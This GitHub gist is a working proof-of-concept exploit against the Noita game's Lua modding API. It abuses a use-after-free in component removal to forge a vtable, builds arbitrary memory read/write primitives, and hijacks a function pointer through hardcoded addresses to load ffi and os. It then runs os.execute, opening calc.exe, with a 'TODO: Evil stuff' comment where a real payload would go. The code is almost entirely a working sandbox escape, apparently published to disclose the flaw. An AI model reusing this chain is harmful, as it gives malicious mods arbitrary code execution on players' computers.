Skip to content

Instantly share code, notes, and snippets.

@dextercd
Last active August 31, 2023 20:03
Show Gist options
  • Save dextercd/4c6276d24e9a0bd22fcb160f4000c348 to your computer and use it in GitHub Desktop.
Save dextercd/4c6276d24e9a0bd22fcb160f4000c348 to your computer and use it in GitHub Desktop.
Third Noita modding API exploit
-- Utils
function get_lua_addr(object)
return tonumber(("%p"):format(object), 16)
end
-- Offsets to interesting parts of LuaJIT internal structures.
local fun_sz = 20
local str_sz = 16
function number_to_le_str(nr)
return string.char(
bit.band(bit.rshift(nr, 0), 0xff),
bit.band(bit.rshift(nr, 8), 0xff),
bit.band(bit.rshift(nr, 16), 0xff),
bit.band(bit.rshift(nr, 24), 0xff)
)
end
-- The exploit
function part1()
e = EntityCreateNew()
v = EntityAddComponent2(e, "VerletPhysicsComponent", {_enabled=false})
EntityRemoveComponent(e, v)
-- Despite having removed the component, it is not removed from the std::map
-- that's used to look up a component's address based on its numeric ID.
-- This means we can keep playing with the memory and cause something new to
-- be allocated in its place. (Use after free)
end
function part2()
-- Construct a new vtable. Mix of VariableStorageComponent and ElectricChargeComponent.
-- Addresses hardcoded for the Jun 19 2023 Steam version of Noita.
local vcs_comp_vtable = {
0x00a7c230,
0x00a7b120,
0x00a7b720,
0x00a7af20,
0x00a7b010,
0x00994990, -- ElectricChargeComponent::SetValue
0x00a7bad0,
0x00a7bbc0,
0x00a7bd90,
0x00a7c090,
0x00a7bf80,
0x00a7c1e0,
0x00a7c150,
0x00a7aaa0,
0x00a7b100,
0x00a7b340,
0x00a7b3f0,
}
vcs_str = ""
for _, v in ipairs(vcs_comp_vtable) do
vcs_str = vcs_str .. number_to_le_str(v)
end
local str_data_start = get_lua_addr(vcs_str) + str_sz
local str = number_to_le_str(str_data_start) .. string.rep(".", 11052)
-- This causes Noita to allocate a string the same length as a
-- VerletPhysicsComponent struct. One of these allocations is likely to
-- occupy the same memory as the component we destroyed.
for i=1, 100 do
EntityAddComponent2(e, "VariableStorageComponent", {name=str})
end
-- We now have a component that partially behaves like a
-- VariableStorageComponent and partially like an ElectricChargeComponent.
-- Using this we can craft our arbitrary read/write primitives.
-- Construct fake std::string that points to an arbitrary memory address.
function construct_string(addr, length)
ComponentSetValue(v, "charge_time_frames", tostring(addr))
ComponentSetValue(v, "fx_emission_interval_max", tostring(length))
ComponentSetValue(v, "charge", tostring(1000))
end
-- Read from the fake std::string.
function read_string()
return ComponentGetValue2(v, "name")
end
-- Write into the fake std::string's data.
function write_string(value)
ComponentSetValue2(v, "name", value)
end
local function read_int(addr)
construct_string(addr, 4)
local bytes = read_string()
local value = 0
for i=1,math.min(#bytes, 4) do
value = value + string.byte(bytes, i) * math.pow(256, i - 1)
end
return value
end
local function write_int(addr, value)
local bytes = string.char(
bit.band(bit.rshift(value, 0), 0xff),
bit.band(bit.rshift(value, 8), 0xff),
bit.band(bit.rshift(value, 16), 0xff),
bit.band(bit.rshift(value, 24), 0xff)
)
construct_string(addr, 4)
write_string(bytes)
end
-- Read the luaopen_string IAT entry.
-- Address hardcoded for the Jun 19 2023 Steam version of Noita
local luaopen_string = read_int(0x00d2478c)
local luaopen_package = luaopen_string - 5712 -- luaopen_package is a certain distance away
write_int(get_lua_addr(SetPlayerSpawnLocation) + fun_sz, luaopen_package)
-- SetPlayerSpawnLocation is now actually luaopen_package!
SetPlayerSpawnLocation()
-- We can use package.loadlib to load anything we want.
local ffi = package.loadlib("lua51.dll", "luaopen_ffi")()
local os = package.loadlib("lua51.dll", "luaopen_os")()
-- TODO: Evil stuff 3.0
os.execute("calc.exe") -- scare the user with maths
end
function OnWorldPreUpdate()
local frame = GameGetFrameNum()
-- Must wait a frame before the component is really deallocated
if frame == 120 then part1() end
if frame == 121 then part2() end
end
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment